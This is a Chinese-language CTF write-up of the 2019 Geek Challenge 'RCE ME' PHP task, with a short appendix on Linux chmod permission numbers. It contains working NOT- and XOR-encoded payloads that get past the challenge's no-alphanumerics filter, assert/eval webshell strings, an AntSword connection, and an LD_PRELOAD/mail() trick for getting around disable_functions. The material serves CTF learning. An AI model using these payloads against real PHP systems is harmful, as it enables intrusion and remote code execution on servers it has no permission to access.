[极客大挑战 2019]RCE ME

题目:

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>
源码很明显了!
长度小于40
不能匹配数字和字母!!!
的命名执行!

看了大佬们的思路!!
既然不能又
可变函数 ¶:

简单点说就是,可以用 $a=phpinfo; $a();来调用!

echo include 等不能这样调用!!!


https://www.php.net/manual/zh/functions.variable-functions.php
eval
与assert的区别!!!

smile大佬的:
https://www.anquanke.com/post/id/173201
在php5的时候
因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

也就是不能$a=“eval”;
$_POST['1']($_POST['2']);
$_POST['1']=“eval”
因为eval不是一个函数,更别说 通过 可变函数调用!!
这样拼接是执行不了的!!
也就是!eval不能通过拼接!!调用!!
上面的文章里又讲!!
php7后assert也变成语言解释器了!!
而且assert对字符串的要求不是很搞
$a=$_POST[a];

assert($a);
a=phpinfo()
就可以执行php代码!
但是eval必须!!
a=phpinfo();要多个分号!!!
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式.

取反:

知道了上面的内容!!!

开始做题!!

下面是做题的思路!!
同过取反,绕过正则匹配!
最后再取反执行回来!!

image-20201202204955566

先试一试可变函数!
phpinfo

(~(%8F%97%8F%96%91%99%90))();
写shell
因为搬掉了system,system,exec,shell_exec,popen,proc等函数

可以用assert写shell
print_r(scandir('/'));

show_source('/readflag')


print_r(file('../readflag'));

var_dump(file('../readflag'));
但是看出来的是乱码!!

(~(%9E%8C%8C%9A%8D%8B))(~(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6));
assert(eval($_POST[a]);
https://tcyba.github.io/

直接连蚁剑算了!

刚开始的时候蚁剑连接老有问题!!
慢慢试一试就好l
直接/readflag就好
cat /raedflag反而不行!
这种方法原理不是特别清楚!
后面直接上传脚本,比较清楚!!
放上师傅们的几篇文章!!:
https://segmentfault.com/a/1190000022539939

https://ab-alex.github.io/2019/11/20/2019%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98RCE-ME/

异或:


https://ab-alex.github.io/2019/10/17/RCE%E6%8F%90%E9%AB%98%E7%AF%87/
看了师傅的文章!!!
tql

php 7:
_POST为:'_'.("{`{|"^"+/((")
_GET 是:echo "`{{{"^"?<>/";

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

即$_='_GET';
$_GET[_]($_GET[__]);
即getshell

更多东西还是要看师傅d!


还有一种用不可见字符构造的!!!
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

%fe%fe%fe%fe^%a1%b9%bb%aa是下面的:

image-20201205131350010

image-20201205131851968

绕过执行系统命令!

发现/tmp是777权限!!!
这里用到了环境变量 LD_preload + mail劫持so来执行系统命令。
在gb上早个exp绕过disablefuncn
http://cae6e308-ca02-4ca3-abe0-b9a54a04cc54.node3.buuoj.cn/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%27a%27]);&1=/readflag&2=/tmp/123.txt&3=/tmp/1.so

a=include("/tmp/1.php");
最后在附上大佬们的文章:

https://mayi077.gitee.io/2020/02/07/%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-RCE-ME/

https://ab-alex.github.io/2019/11/20/2019%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98RCE-ME/

https://segmentfault.com/a/1190000022539939

linux权限

Linux权限详解(chmod、600、644、666、700、711、755、777、4755、6755、7755)

r(读)=4  w(写)=2 x(执行)=1
其中
a,b,c各为一个数字,分别代表User、Group、及Other的权限。
相当于简化版的
chmod u=权限,g=权限,o=权限 file...
而此处的权限将用8进制的数字来表示User、Group、及Other的读、写、执行权限

777相当于u=rwx g=rwx o=rwx
755 u=rwx g=rx o=rx